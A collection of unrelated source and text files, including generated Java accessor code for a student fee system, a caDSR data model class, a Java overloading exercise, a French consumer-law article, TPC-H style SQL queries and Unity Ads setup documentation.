String s) throws ArrayIndexOutOfBoundsException, PropertyVetoException { if (49 < index || index < 0) { throw new ArrayIndexOutOfBoundsException("index range must be from 0 to 49, not: " + index); } if (s == null || s.length() == 0) { throw new PropertyVetoException("InGCsfLineActionBarLineReturnCode is not a valid numeric value: " + s, new PropertyChangeEvent (this, "InGCsfLineActionBarLineReturnCode", null, null)); } try { setInGCsfLineActionBarLineReturnCode(index, Short.parseShort(s) ); } catch (NumberFormatException e) { throw new PropertyVetoException("InGCsfLineActionBarLineReturnCode is not a valid numeric value: " + s, new PropertyChangeEvent (this, "InGCsfLineActionBarLineReturnCode", null, null)); } } public String getInGStudentStudyUnitMkStudyUnitCode(int index) throws ArrayIndexOutOfBoundsException { if (49 < index || index < 0) { throw new ArrayIndexOutOfBoundsException("index range must be from 0 to 49, not: " + index); } return FixedStringAttr.valueOf(importView.InGStudentStudyUnitMkStudyUnitCode[index], 7); } public void setInGStudentStudyUnitMkStudyUnitCode(int index, String s) throws ArrayIndexOutOfBoundsException, PropertyVetoException { if (s != null) { s = s.toUpperCase(); } if (49 < index || index < 0) { throw new ArrayIndexOutOfBoundsException("index range must be from 0 to 49, not: " + index); } if (s.length() > 7) { throw new PropertyVetoException("InGStudentStudyUnitMkStudyUnitCode must be <= 7 characters.", new PropertyChangeEvent (this, "InGStudentStudyUnitMkStudyUnitCode", null, null)); } importView.InGStudentStudyUnitMkStudyUnitCode[index] = FixedStringAttr.valueOf(s, (short)7); } public int getInStudentAnnualRecordMkStudentNr() { return importView.InStudentAnnualRecordMkStudentNr; } public void setInStudentAnnualRecordMkStudentNr(int s) throws PropertyVetoException { if (java.lang.Math.abs(s) >= 100000000.0) { throw new PropertyVetoException("InStudentAnnualRecordMkStudentNr has more than 8 digits.", new PropertyChangeEvent (this, "InStudentAnnualRecordMkStudentNr", null, null)); } importView.InStudentAnnualRecordMkStudentNr = IntAttr.valueOf(s); } public void setAsStringInStudentAnnualRecordMkStudentNr(String s) throws PropertyVetoException { if (s == null || s.length() == 0) { throw new PropertyVetoException("InStudentAnnualRecordMkStudentNr is not a valid numeric value: " + s, new PropertyChangeEvent (this, "InStudentAnnualRecordMkStudentNr", null, null)); } try { setInStudentAnnualRecordMkStudentNr(Integer.parseInt(s) ); } catch (NumberFormatException e) { throw new PropertyVetoException("InStudentAnnualRecordMkStudentNr is not a valid numeric value: " + s, new PropertyChangeEvent (this, "InStudentAnnualRecordMkStudentNr", null, null)); } } public short getInStudentAnnualRecordMkAcademicYear() { return importView.InStudentAnnualRecordMkAcademicYear; } public void setInStudentAnnualRecordMkAcademicYear(short s) throws PropertyVetoException { if (java.lang.Math.abs(s) >= 10000.0) { throw new PropertyVetoException("InStudentAnnualRecordMkAcademicYear has more than 4 digits.", new PropertyChangeEvent (this, "InStudentAnnualRecordMkAcademicYear", null, null)); } importView.InStudentAnnualRecordMkAcademicYear = ShortAttr.valueOf(s); } public void setAsStringInStudentAnnualRecordMkAcademicYear(String s) throws PropertyVetoException { if (s == null || s.length() == 0) { throw new PropertyVetoException("InStudentAnnualRecordMkAcademicYear is not a valid numeric value: " + s, new PropertyChangeEvent (this, "InStudentAnnualRecordMkAcademicYear", null, null)); } try { setInStudentAnnualRecordMkAcademicYear(Short.parseShort(s) ); } catch (NumberFormatException e) { throw new PropertyVetoException("InStudentAnnualRecordMkAcademicYear is not a valid numeric value: " + s, new PropertyChangeEvent (this, "InStudentAnnualRecordMkAcademicYear", null, null)); } } public short getInStudentAnnualRecordMkAcademicPeriod() { return importView.InStudentAnnualRecordMkAcademicPeriod; } public void setInStudentAnnualRecordMkAcademicPeriod(short s) throws PropertyVetoException { if (java.lang.Math.abs(s) >= 100.0) { throw new PropertyVetoException("InStudentAnnualRecordMkAcademicPeriod has more than 2 digits.", new PropertyChangeEvent (this, "InStudentAnnualRecordMkAcademicPeriod", null, null)); } importView.InStudentAnnualRecordMkAcademicPeriod = ShortAttr.valueOf(s); } public void setAsStringInStudentAnnualRecordMkAcademicPeriod(String s) throws PropertyVetoException { if (s == null || s.length() == 0) { throw new PropertyVetoException("InStudentAnnualRecordMkAcademicPeriod is not a valid numeric value: " + s, new PropertyChangeEvent (this, "InStudentAnnualRecordMkAcademicPeriod", null, null)); } try { setInStudentAnnualRecordMkAcademicPeriod(Short.parseShort(s) ); } catch (NumberFormatException e) { throw new PropertyVetoException("InStudentAnnualRecordMkAcademicPeriod is not a valid numeric value: " + s, new PropertyChangeEvent (this, "InStudentAnnualRecordMkAcademicPeriod", null, null)); } } public String getInWsCountryCode() { return FixedStringAttr.valueOf(importView.InWsCountryCode, 4); } public void setInWsCountryCode(String s) throws PropertyVetoException { if (s != null) { s = s.toUpperCase(); } if (s.length() > 4) { throw new PropertyVetoException("InWsCountryCode must be <= 4 characters.", new PropertyChangeEvent (this, "InWsCountryCode", null, null)); } importView.InWsCountryCode = FixedStringAttr.valueOf(s, (short)4); } public String getInWsCountryEngDescription() { return FixedStringAttr.valueOf(importView.InWsCountryEngDescription, 28); } public void setInWsCountryEngDescription(String s) throws PropertyVetoException { if (s.length() > 28) { throw new PropertyVetoException("InWsCountryEngDescription must be <= 28 characters.", new PropertyChangeEvent (this, "InWsCountryEngDescription", null, null)); } importView.InWsCountryEngDescription = FixedStringAttr.valueOf(s, (short)28); } public String getOutPrintNqfCreditsIefSuppliedFlag() { return FixedStringAttr.valueOf(exportView.OutPrintNqfCreditsIefSuppliedFlag, 1); } public String getOutPrintNqfLevelIefSuppliedFlag() { return FixedStringAttr.valueOf(exportView.OutPrintNqfLevelIefSuppliedFlag, 1); } public String getOutProddevCsfStringsString4() { return FixedStringAttr.valueOf(exportView.OutProddevCsfStringsString4, 4); } public String getOutMatrExemptionIefSuppliedFlag() { return FixedStringAttr.valueOf(exportView.OutMatrExemptionIefSuppliedFlag, 1); } public double getOutMatrExemptionIefSuppliedTotalCurrency() { return exportView.OutMatrExemptionIefSuppliedTotalCurrency; } public String getOutSmartcardIefSuppliedFlag() { return FixedStringAttr.valueOf(exportView.OutSmartcardIefSuppliedFlag, 1); } public double getOutSmartcardIefSuppliedTotalCurrency() { return exportView.OutSmartcardIefSuppliedTotalCurrency; } public String getOutFaxNoCsfStringsString132() { return FixedStringAttr.valueOf(exportView.OutFaxNoCsfStringsString132, 132); } public String getOutFaxNameCsfStringsString132() { return FixedStringAttr.valueOf(exportView.OutFaxNameCsfStringsString132, 132); } public double getOutWsPrescribedBooksAmount() { return exportView.OutWsPrescribedBooksAmount; } public final int OutStudyUnitGroupMax = 50; public short getOutStudyUnitGroupCount() { return (short)(exportView.OutStudyUnitGroup_MA); }; public String getOutGInternetWsStudyUnitCode(int index) throws ArrayIndexOutOfBoundsException { if (49 < index || index < 0) { throw new ArrayIndexOutOfBoundsException("index range must be from 0 to 49, not: " + index); } return FixedStringAttr.valueOf(exportView.OutGInternetWsStudyUnitCode[index], 7); } public String getOutGInternetWsStudyUnitEngShortDescription(int index) throws ArrayIndexOutOfBoundsException { if (49 < index || index < 0) { throw new ArrayIndexOutOfBoundsException("index range must be from 0 to 49, not: " + index); } return FixedStringAttr.valueOf(exportView.OutGInternetWsStudyUnitEngShortDescription[index], 28); } public short getOutGInternetWsStudyUnitNqfCategory(int index) throws ArrayIndexOutOfBoundsException { if (49 < index || index < 0) { throw new ArrayIndexOutOfBoundsException("index range must be from 0 to 49, not: " + index); } return exportView.OutGInternetWsStudyUnitNqfCategory[index]; } public short getOutGInternetWsStudyUnitNqfCredits(int index) throws ArrayIndexOutOfBoundsException { if (49 < index || index < 0) { throw new ArrayIndexOutOfBoundsException("index range must be from 0 to 49, not: " + index); } return exportView.OutGInternetWsStudyUnitNqfCredits[index]; } public short getOutGInternetWsStudyUnitPqmNqfLevel(int index) throws ArrayIndexOutOfBoundsException { if (49 < index || index < 0) { throw new ArrayIndexOutOfBoundsException("index range must be from 0 to 49, not: " + index); } return exportView.OutGInternetWsStudyUnitPqmNqfLevel[index]; } public double getOutGStudyUnitCostIefSuppliedTotalCurrency(int index) throws ArrayIndexOutOfBoundsException { if (49 < index || index < 0) { throw new ArrayIndexOutOfBoundsException("index range must be from 0 to 49, not: " + index); } return exportView.OutGStudyUnitCostIefSuppliedTotalCurrency[index]; } public double getOutTotalIefSuppliedTotalCurrency() { return exportView.OutTotalIefSuppliedTotalCurrency; } public double getOutRegPaymentIefSuppliedTotalCurrency() { return exportView.OutRegPaymentIefSuppliedTotalCurrency; } public double getOutForeignLevyIefSuppliedTotalCurrency() { return exportView.OutForeignLevyIefSuppliedTotalCurrency; } public double getOutSrcLevyIefSuppliedTotalCurrency() { return exportView.OutSrcLevyIefSuppliedTotalCurrency; } public String getOutFromEmailAddressCsfStringsString132() { return FixedStringAttr.valueOf(exportView.OutFromEmailAddressCsfStringsString132, 132); } public String getOutToEmailAddressCsfStringsString132() { return FixedStringAttr.valueOf(exportView.OutToEmailAddressCsfStringsString132, 132); } public int getOutWsUserNumber() { return exportView.OutWsUserNumber; } public String getOutWsUserName() { return FixedStringAttr.valueOf(exportView.OutWsUserName, 28); } public String getOutWsUserPersonnelNo() { return FixedStringAttr.valueOf(exportView.OutWsUserPersonnelNo, 10); } public String getOutWsUserPhoneNumber() { return FixedStringAttr.valueOf(exportView.OutWsUserPhoneNumber, 20); } public String getOutWsPrinterCode() { return FixedStringAttr.valueOf(exportView.OutWsPrinterCode, 10); } public String getOutWsWorkstationCode() { return FixedStringAttr.valueOf(exportView.OutWsWorkstationCode, 10); } public int getOutWsWorkstationUserNumber() { return exportView.OutWsWorkstationUserNumber; } public Calendar getOutSrrqn01gQuoteStudyFeesDate() { return DateAttr.toCalendar(exportView.OutSrrqn01gQuoteStudyFeesDate); } public int getAsIntOutSrrqn01gQuoteStudyFeesDate() { return DateAttr.toInt(exportView.OutSrrqn01gQuoteStudyFeesDate); } public int getOutStudentAcademicRecordMkStudentNr() { return exportView.OutStudentAcademicRecordMkStudentNr; } public String getOutStudentAcademicRecordMkQualificationCode() { return FixedStringAttr.valueOf(exportView.OutStudentAcademicRecordMkQualificationCode, 5); } public double getOutMatricExemFeeIefSuppliedAverageCurrency() { return exportView.OutMatricExemFeeIefSuppliedAverageCurrency; } public String getOutLateRegIefSuppliedFlag() { return FixedStringAttr.valueOf(exportView.OutLateRegIefSuppliedFlag, 1); } public String getOutLclWsAddressAddressLine1() { return FixedStringAttr.valueOf(exportView.OutLclWsAddressAddressLine1, 28); } public String getOutLclWsAddressAddressLine2() { return FixedStringAttr.valueOf(exportView.OutLclWsAddressAddressLine2, 28); } public String getOutLclWsAddressAddressLine3() { return FixedStringAttr.valueOf(exportView.OutLclWsAddressAddressLine3, 28); } public String getOutLclWsAddressAddressLine4() { return FixedStringAttr.valueOf(exportView.OutLclWsAddressAddressLine4, 28); } public String getOutLclWsAddressAddressLine5() { return FixedStringAttr.valueOf(exportView.OutLclWsAddressAddressLine5, 28); } public String getOutLclWsAddressAddressLine6() { return FixedStringAttr.valueOf(exportView.OutLclWsAddressAddressLine6, 28); } public short getOutLclWsAddressPostalCode() { return exportView.OutLclWsAddressPostalCode; } public int getOutLclWsAddressReferenceNo() { return exportView.OutLclWsAddressReferenceNo; } public short getOutLclWsAddressType() { return exportView.OutLclWsAddressType; } public short getOutLclWsAddressCategory() { return exportView.OutLclWsAddressCategory; } public String getOutLclWsAddressEmailAddress() { return FixedStringAttr.valueOf(exportView.OutLclWsAddressEmailAddress, 28); } public int getOutLclWsStudentNr() { return exportView.OutLclWsStudentNr; } public String getOutLclWsStudentMkCorrespondenceLanguage() { return FixedStringAttr.valueOf(exportView.OutLclWsStudentMkCorrespondenceLanguage, 2); } public String getOutLclWsStudentMkTitle() { return FixedStringAttr.valueOf(exportView.OutLclWsStudentMkTitle, 10); } public String getOutLclWsStudentSurname() { return FixedStringAttr.valueOf(exportView.OutLclWsStudentSurname, 28); } public String getOutLclWsStudentFirstNames() { return FixedStringAttr.valueOf(exportView.OutLclWsStudentFirstNames, 60); } public String getOutLclWsStudentInitials() { return FixedStringAttr.valueOf(exportView.OutLclWsStudentInitials, 10); } public String getOutLclWsStudentMkCountryCode() { return FixedStringAttr.valueOf(exportView.OutLclWsStudentMkCountryCode, 4); } public String getOutCsfStringsString500() { return StringAttr.valueOf(exportView.OutCsfStringsString500); } public String getOutCsfStringsString12() { return FixedStringAttr.valueOf(exportView.OutCsfStringsString12, 12); } public String getOutCsfStringsString7() { return FixedStringAttr.valueOf(exportView.OutCsfStringsString7, 7); } public String getOutCsfStringsString3() { return FixedStringAttr.valueOf(exportView.OutCsfStringsString3, 3); } public short getOutCsfClientServerCommunicationsReturnCode() { return exportView.OutCsfClientServerCommunicationsReturnCode; } public short getOutCsfClientServerCommunicationsServerVersionNumber() { return exportView.OutCsfClientServerCommunicationsServerVersionNumber; } public short getOutCsfClientServerCommunicationsServerRevisionNumber() { return exportView.OutCsfClientServerCommunicationsServerRevisionNumber; } public String getOutCsfClientServerCommunicationsServerDevelopmentPhase() { return FixedStringAttr.valueOf(exportView.OutCsfClientServerCommunicationsServerDevelopmentPhase, 1); } public String getOutCsfClientServerCommunicationsAction() { return FixedStringAttr.valueOf(exportView.OutCsfClientServerCommunicationsAction, 2); } public Calendar getOutCsfClientServerCommunicationsServerDate() { return DateAttr.toCalendar(exportView.OutCsfClientServerCommunicationsServerDate); } public int getAsIntOutCsfClientServerCommunicationsServerDate() { return DateAttr.toInt(exportView.OutCsfClientServerCommunicationsServerDate); } public Calendar getOutCsfClientServerCommunicationsServerTime() { return TimeAttr.toCalendar(exportView.OutCsfClientServerCommunicationsServerTime); } public int getAsIntOutCsfClientServerCommunicationsServerTime() { return TimeAttr.toInt(exportView.OutCsfClientServerCommunicationsServerTime); } public Calendar getOutCsfClientServerCommunicationsServerTimestamp() { return TimestampAttr.toCalendar(exportView.OutCsfClientServerCommunicationsServerTimestamp); } public String getAsStringOutCsfClientServerCommunicationsServerTimestamp() { return TimestampAttr.toString(exportView.OutCsfClientServerCommunicationsServerTimestamp); } public String getOutCsfClientServerCommunicationsServerTransactionCode() { return FixedStringAttr.valueOf(exportView.OutCsfClientServerCommunicationsServerTransactionCode, 8); } public String getOutCsfClientServerCommunicationsServerUserId() { return FixedStringAttr.valueOf(exportView.OutCsfClientServerCommunicationsServerUserId, 8); } public String getOutCsfClientServerCommunicationsServerRollbackFlag() { return FixedStringAttr.valueOf(exportView.OutCsfClientServerCommunicationsServerRollbackFlag, 1); } public String getOutCsfClientServerCommunicationsClientIsGuiFlag() { return FixedStringAttr.valueOf(exportView.OutCsfClientServerCommunicationsClientIsGuiFlag, 1); } public String getOutCsfClientServerCommunicationsActionsPendingFlag() { return FixedStringAttr.valueOf(exportView.OutCsfClientServerCommunicationsActionsPendingFlag, 1); } public short getOutCsfClientServerCommunicationsClientVersionNumber() { return exportView.OutCsfClientServerCommunicationsClientVersionNumber; } public short getOutCsfClientServerCommunicationsClientRevisionNumber() { return exportView.OutCsfClientServerCommunicationsClientRevisionNumber; } public String getOutCsfClientServerCommunicationsClientDevelopmentPhase() { return FixedStringAttr.valueOf(exportView.OutCsfClientServerCommunicationsClientDevelopmentPhase, 1); } public String getOutCsfClientServerCommunicationsListLinkFlag() { return FixedStringAttr.valueOf(exportView.OutCsfClientServerCommunicationsListLinkFlag, 1); } public String getOutCsfClientServerCommunicationsCancelFlag() { return FixedStringAttr.valueOf(exportView.OutCsfClientServerCommunicationsCancelFlag, 1); } public String getOutCsfClientServerCommunicationsMaintLinkFlag() { return FixedStringAttr.valueOf(exportView.OutCsfClientServerCommunicationsMaintLinkFlag, 1); } public String getOutCsfClientServerCommunicationsForceDatabaseRead() { return FixedStringAttr.valueOf(exportView.OutCsfClientServerCommunicationsForceDatabaseRead, 1); } public final int OutGroupMax = 50; public short getOutGroupCount() { return (short)(exportView.OutGroup_MA); }; public short getOutGCsfLineActionBarLineReturnCode(int index) throws ArrayIndexOutOfBoundsException { if (49 < index || index < 0) { throw new ArrayIndexOutOfBoundsException("index range must be from 0 to 49, not: " + index); } return exportView.OutGCsfLineActionBarLineReturnCode[index]; } public String getOutGStudentStudyUnitMkStudyUnitCode(int index) throws ArrayIndexOutOfBoundsException { if (49 < index || index < 0) { throw new ArrayIndexOutOfBoundsException("index range must be from 0 to 49, not: " + index); } return FixedStringAttr.valueOf(exportView.OutGStudentStudyUnitMkStudyUnitCode[index], 7); } public int getOutStudentAnnualRecordMkStudentNr() { return exportView.OutStudentAnnualRecordMkStudentNr; } public short getOutStudentAnnualRecordMkAcademicYear() { return exportView.OutStudentAnnualRecordMkAcademicYear; } public short getOutStudentAnnualRecordMkAcademicPeriod() { return exportView.OutStudentAnnualRecordMkAcademicPeriod; } public String getOutWsCountryCode() { return FixedStringAttr.valueOf(exportView.OutWsCountryCode, 4); } public String getOutWsCountryEngDescription() { return FixedStringAttr.valueOf(exportView.OutWsCountryEngDescription, 28); } };
Java
UTF-8
4,226
1.898438
2
[ "LicenseRef-scancode-unknown-license-reference", "BSD-3-Clause", "Ruby" ]
permissive
/* * Copyright 2016 Leidos Biomedical Research, Inc. */ package gov.nih.nci.cadsr.dao.model; import java.util.HashSet; import java.util.Set; /** * This class is the model of PVs' VM Classifications used to map tp Designation and Definitions. See CDEBROWSER-437 * @author asafievan * */ public class CsCsiValueMeaningModel extends BaseModel { /** * */ private static final long serialVersionUID = 1L; /* From CDE Browser v.4.x SELECT ext.att_idseq, csi.long_name csi_name, csi.csitl_name, csi.csi_idseq, cscsi.cs_csi_idseq, cs.preferred_definition, cs.long_name, ext.aca_idseq, cs.cs_idseq, cs.version , csi.preferred_definition description, cs.cs_id, csi.csi_id, csi.version csi_version FROM sbrext.ac_att_cscsi_view_ext ext, sbr.cs_csi_view cscsi, sbr.cs_items_view csi, sbr.classification_schemes_view cs WHERE ext.ATT_IDSEQ = '746A8063-D650-3C9D-E040-BB89AD437A9B' AND ext.cs_csi_idseq = cscsi.cs_csi_idseq AND cscsi.csi_idseq = csi.csi_idseq AND cscsi.cs_idseq = cs.cs_idseq ORDER BY upper(csi.long_name); /* For CDE Browser v.5.x SELECT cs.long_name cs_long_name, cs.preferred_definition cs_definition, csi.long_name csi_name, csi.csitl_name csitl_name, csi.csi_id csi_id, csi.csi_idseq, csi.version csi_version, ext.att_idseq, ext.aca_idseq, cs.cs_idseq, csi.csi_idseq, cscsi.cs_csi_idseq FROM sbrext.ac_att_cscsi_view_ext ext, sbr.cs_csi_view cscsi, sbr.cs_items_view csi, sbr.classification_schemes_view cs WHERE ext.att_idseq = '746A8063-D650-3C9D-E040-BB89AD437A9B' AND ext.cs_csi_idseq = cscsi.cs_csi_idseq AND cscsi.csi_idseq = csi.csi_idseq AND cscsi.cs_idseq = cs.cs_idseq ORDER BY upper(csi.long_name) */ private String csLongName;// goes to CS* Long Name private String csDefinition;// goes to CS* Definition private String csiName; // goes to CSI* Name private String csitlName; // goes to CSI* Type private Integer csiId; // goes to CSI* Public Id private Float csiVersion; // goes to CSI* Version //attIdseq identifies definition or designation; designations has a "DESIG_IDSEQ", we use this ID as ATT_IDSEQ //definition has DEFIN_IDSEQ we use this ID as ATT_IDSEQ private String attIdseq; private String acaIdseq; private String csIdseq; private String csiIdseq; private String csCsiIdseq; public CsCsiValueMeaningModel() { } public String getCsLongName() { return csLongName; } public void setCsLongName(String csLongName) { this.csLongName = csLongName; } public String getCsDefinition() { return csDefinition; } public void setCsDefinition(String csDefinition) { this.csDefinition = csDefinition; } public String getCsiName() { return csiName; } public void setCsiName(String csiName) { this.csiName = csiName; } public String getCsitlName() { return csitlName; } public void setCsitlName(String csitlName) { this.csitlName = csitlName; } public Integer getCsiId() { return csiId; } public void setCsiId(Integer csiId) { this.csiId = csiId; } public Float getCsiVersion() { return csiVersion; } public void setCsiVersion(Float csiVersion) { this.csiVersion = csiVersion; } public String getAttIdseq() { return attIdseq; } public void setAttIdseq(String attIdseq) { this.attIdseq = attIdseq; } public String getAcaIdseq() { return acaIdseq; } public void setAcaIdseq(String acaIdseq) { this.acaIdseq = acaIdseq; } public String getCsIdseq() { return csIdseq; } public void setCsIdseq(String csIdseq) { this.csIdseq = csIdseq; } public String getCsiIdseq() { return csiIdseq; } public void setCsiIdseq(String csiIdseq) { this.csiIdseq = csiIdseq; } public String getCsCsiIdseq() { return csCsiIdseq; } public void setCsCsiIdseq(String csCsiIdseq) { this.csCsiIdseq = csCsiIdseq; } @Override public String toString() { return "CsCsiValueMeaningModel [csLongName=" + csLongName + ", csDefinition=" + csDefinition + ", csiName=" + csiName + ", csitlName=" + csitlName + ", csiId=" + csiId + ", csiVersion=" + csiVersion + ", attIdseq=" + attIdseq + ", acaIdseq=" + acaIdseq + ", csIdseq=" + csIdseq + ", csiIdseq=" + csiIdseq + ", csCsiIdseq=" + csCsiIdseq + "]"; } }
Java
UTF-8
975
3.53125
4
[]
no_license
package homework; import java.util.Scanner; /** * Created by expert on 7/13/18. */ public class methodOverlodEx { //3 ways to overload a method /*1 number of parameters eg:add(int,int),add(int,int,int) 2 data type of parameters eg:add(int,float),add(int,int) 3 sequence of data type of parameters eg:add(int,float),add(float,int) method overloading is an eg oof static ploymorphsm is also known as compile time binding */ static String name; static int age; static String type; public void dis(String name){ System.out.println(name); } public void dis(String name,int age){ System.out.println(name+""+age); } public void dis(String name,int age,String type) { System.out.println(name + "" + age + "" + type); } public static void main(String[] args) { methodOverlodEx m=new methodOverlodEx(); m.dis("ttt"); m.dis("ttt",12); m.dis("ttt",12,"u"); } }
Markdown
UTF-8
636
2.5625
3
[]
no_license
# Article L451-1 Le fait pour l'opérateur de ne pas procéder à l'information prévue à l'article L. 411-2 est puni d'une peine d'un an d'emprisonnement et de 150 000 euros d'amende. **Liens relatifs à cet article** **Codifié par**: - Ordonnance n°2016-301 du 14 mars 2016 - art. **Modifié par**: - Loi n°2017-203 du 21 février 2017 - art. 11 **Cite**: - Code de la consommation - art. L411-2 **Cité par**: - Code de la consommation - art. L451-5 (VD) - Code de la consommation - art. L451-6 (VD) - Code de la consommation - art. L455-2 (VD) - Code monétaire et financier - art. L500-1 (V)
SQL
UTF-8
3,166
3.890625
4
[]
no_license
SELECT c_address, c_phone FROM customer_index WHERE c_name = 'Customer#000000227'; SELECT c_address, c_phone FROM customer_noindex WHERE c_name = 'Customer#000000227'; SELECT s_name, MIN(s_acctbal) FROM supplier_index; SELECT s_name, MIN(s_acctbal) FROM supplier_noindex; SELECT l_quantity, l_extendedprice FROM lineitem_index WHERE l_returnflag = 'N' AND l_shipdate = '1995-09-25'; SELECT l_quantity, l_extendedprice FROM lineitem_noindex WHERE l_returnflag = 'N' AND l_shipdate = '1995-09-25'; SELECT MAX(julianday(l_shipdate)-julianday(l_commitdate)) FROM lineitem_index; SELECT MAX(julianday(l_shipdate)-julianday(l_commitdate)) FROM lineitem_noindex; SELECT MIN(c_acctbal), MAX(c_acctbal) FROM customer_index WHERE c_mktsegment = 'BUILDING'; SELECT MIN(c_acctbal), MAX(c_acctbal) FROM customer_noindex WHERE c_mktsegment = 'BUILDING'; SELECT DISTINCT n_name FROM nation, customer_noindex, orders_noindex WHERE c_nationkey = n_nationkey AND c_custkey = o_custkey AND o_orderdate LIKE '1996-12%'; SELECT L.l_receiptdate, COUNT(L.l_quantity) FROM customer_noindex C, lineitem_noindex L, orders_noindex O WHERE C.c_custkey = O.o_custkey AND L.l_orderkey = O.o_orderkey AND C.c_name = 'Customer#000000118' GROUP BY L.l_receiptdate; SELECT S.s_name, S.s_acctbal FROM supplier_noindex S, region R, nation N WHERE N.n_nationkey = S.s_nationkey AND N.n_regionkey = R.r_regionkey AND R.r_name = 'ASIA' AND S.s_acctbal >= 1000; SELECT N.n_name, COUNT(S.s_name), AVG(S.s_acctbal) FROM nation N, supplier_noindex S WHERE N.n_nationkey = S.s_nationkey GROUP BY N.n_name HAVING COUNT (S.s_name) >= 5; SELECT SUM(O.o_totalprice) FROM orders_noindex O, customer_noindex C, nation N, region R WHERE C.c_custkey = O.o_custkey AND N.n_regionkey = R.r_regionkey AND C.c_nationkey = N.n_nationkey AND R.r_name = 'EUROPE' AND O.o_orderdate LIKE '1996%'; SELECT COUNT(DISTINCT C.c_name) FROM customer_noindex C, lineitem_noindex L, orders_noindex O WHERE C.c_custkey = O.o_custkey AND L.l_orderkey = O.o_orderkey AND L.l_discount >= 0.04; SELECT R.r_name, COUNT(O.o_orderstatus) FROM orders_noindex O, customer_noindex C, nation N, region R WHERE C.c_custkey = O.o_custkey AND N.n_regionkey = R.r_regionkey AND C.c_nationkey = N.n_nationkey AND O.o_orderstatus = 'F' GROUP BY R.r_name ORDER BY COUNT(O.o_orderstatus) DESC; SELECT AVG(C.c_acctbal) FROM customer_noindex C, nation N, region R WHERE C.c_nationkey = N.n_nationkey AND N.n_regionkey = R.r_regionkey AND R.r_name = 'EUROPE' AND C.c_mktsegment = 'MACHINERY'; SELECT COUNT(O.o_orderpriority) FROM customer_noindex C, nation N, orders_noindex O WHERE C.c_custkey = O.o_custkey AND C.c_nationkey = N.n_nationkey AND O.o_orderpriority = '1-URGENT' AND N.n_name = 'BRAZIL' AND O.o_orderdate BETWEEN '1994%' AND '1997-31-12'; SELECT N.n_name, substr(O.o_orderdate,1,4), COUNT(O.o_orderpriority) FROM lineitem_noindex L, nation N, orders_noindex O, supplier_noindex S WHERE L.l_suppkey = S.s_suppkey AND O.o_orderkey = L.l_orderkey AND N.n_nationkey = S.s_nationkey AND O.o_orderpriority = '3-MEDIUM' GROUP BY N.n_name, substr(O.o_orderdate,1,4);
Markdown
UTF-8
1,747
2.921875
3
[]
no_license
# 作业说明 ### 面向对象概念 interface: 所有类均使用自己定义的一套协议接口,计划将面向对象编程,实现为面向接口编程,但是实现中出现了一些小问题。同时通过多个interface进行类似多继承的实现。 extends:将一些有继承关系的类进行继承,这样可以在代码中进行一部分动态绑定,代码中注意了层数,最多只有三层。 ### 机制 尽量面向接口编程,将DIP实现为最大化,同时尽量准守LSP与OCP,而对于SRP于ISP在实现中考虑的较少,这方面需要继续进行重构。 ### 设计理念 1、每一个阵营(Camp)由人和队形组成。 在队形中无需考虑实际在图中的位置,只需考虑其内部点的放置方式,这样也容易进行旋转操作。具体放置的点由阵营左上角点与队形内部分布点进行决定。同时队形位置存在优先级的问题,因此在队形排列需要使用带有优先级的点(PriorityPoint),Boss应该在阵营优先级最高的位置也就是说最前面。 这样来看人也需要进行优先级的排序,对应着队列的优先级序列。以此来确定队列中实际的排序情况。 2、队列的种类统一定义一个对外接口FormRecord,先读入接口中,再转换为实际的队列位置表示。这样可以通过这个对外接口对外部文件访问(未实现),也可以直接在这个接口中方便地给出队列的排序情况(目前采用情况)。 3、如何进行绘制是由Image进行决定的,可能是图像的绘制,也可能是字符的输出,因此绘制应该放置在这里。 4、被ArrayList坑到,这东西不能动态绑定,需要转换到对应数组。。。
Markdown
UTF-8
3,529
2.765625
3
[ "LicenseRef-scancode-unknown-license-reference", "MIT" ]
permissive
/* Title: Getting started Sort: 1 */ Created by the leading mobile game engine, the Unity Ads SDK provides a comprehensive monetization framework for your game, whether you develop in Unity, xCode, or Android Studio. It streamlines ads, in-app purchasing and analytics, using cutting edge machine learning to maximize your revenue while maintaining a great player experience. Getting started is simple. This page illustrates the journey towards maximizing your revenue with Unity Ads. Follow step by step, or jump to the integration step that best fits your stage of development. ## Preparation New to Unity Ads? Take care of these basics before implementation: 1. Download and import the latest Unity Ads Asset package or SDK: [Unity (C#)](https://assetstore.unity.com/packages/add-ons/services/unity-ads-66123) | [iOS (Objective-C)](https://github.com/Unity-Technologies/unity-ads-ios) | [Android (Java)](https://github.com/Unity-Technologies/unity-ads-android/releases) 2. [Create](https://id.unity.com/) a Unity Developer ID. 3. Use the [Developer Dashboard](https://operate.dashboard.unity3d.com) to [configure Placements](MonetizationPlacements.md) for monetization content. 4. Review our [Best practices guide](MonetizationResourcesBestPractices.md), complete with case studies, to better understand your monetization strategy before diving in. ## Implementation Integration may vary, depending on your development platform. #### Integrate Unity Ads in your game * [Unity (C#)](MonetizationBasicIntegrationUnity.md) * [iOS (Objective-C)](MonetizationBasicIntegrationIos.md) * [Android (Java)](MonetizationBasicIntegrationAndroid.md) #### Expand your basic ads integration * Reward players for watching ads: * [Unity (C#)](MonetizationBasicIntegrationUnity.md#implementing-rewarded-ads) * [iOS (Objective-C)](MonetizationBasicIntegrationIos.md#implementing-rewarded-ads) * [Android (Java)](MonetizationBasicIntegrationAndroid.md#implementing-rewarded-ads) * Incorporate banner ads: * [Unity (C#)](MonetizationBannerAdsUnity.md) * [iOS (Objective-C)](MonetizationBannerAdsIos.md) * [Android (Java)](MonetizationBannerAdsAndroid.md) * Incorporate [Augmented Reality](MonetizationArAds.md) (AR) ads. * [Unity (C#)](MonetizationArAdsUnity.md) * [iOS (Objective-C)](MonetizationArAdsIos.md) * [Android (Java)](MonetizationArAdsAndroid.md) ## Manage, analyze, optimize Beyond implementation, Unity empowers you to fine-tune your strategy: * The [Unity Developer Dashboard](https://operate.dashboard.unity3d.com/) allows you to [manage your ads implementation](MonetizationResourcesDashboardGuide.md). Use the dashboard's [robust metrics tools](MonetizationResourcesStatistics.md) to adopt a data-driven approach to fine-tuning your monetization strategy. * Learn how to [filter your ads](MonetizationResourcesDashboardGuide.md#ad-content-filters) to target your audience. * Don’t miss out on revenue; be sure to [add your Store Details](MonetizationResourcesDashboardGuide.md#platforms) once your game is live. * Sign up for [automated payouts](MonetizationResourcesRevenueAndPayment.md#automated-payouts). ## Support Have questions? We're here to help! The following resources can assist in addressing your issue: * Browse the Unity Ads [community forums](https://forum.unity.com/forums/unity-ads.67/). * Search the Unity Ads [monetization Knowledge Base](https://support.unity3d.com/hc/en-us/sections/201163835-Ads-Publishers). * [Contact Unity Ads support](mailto:unityads-support@unity3d.com) with your 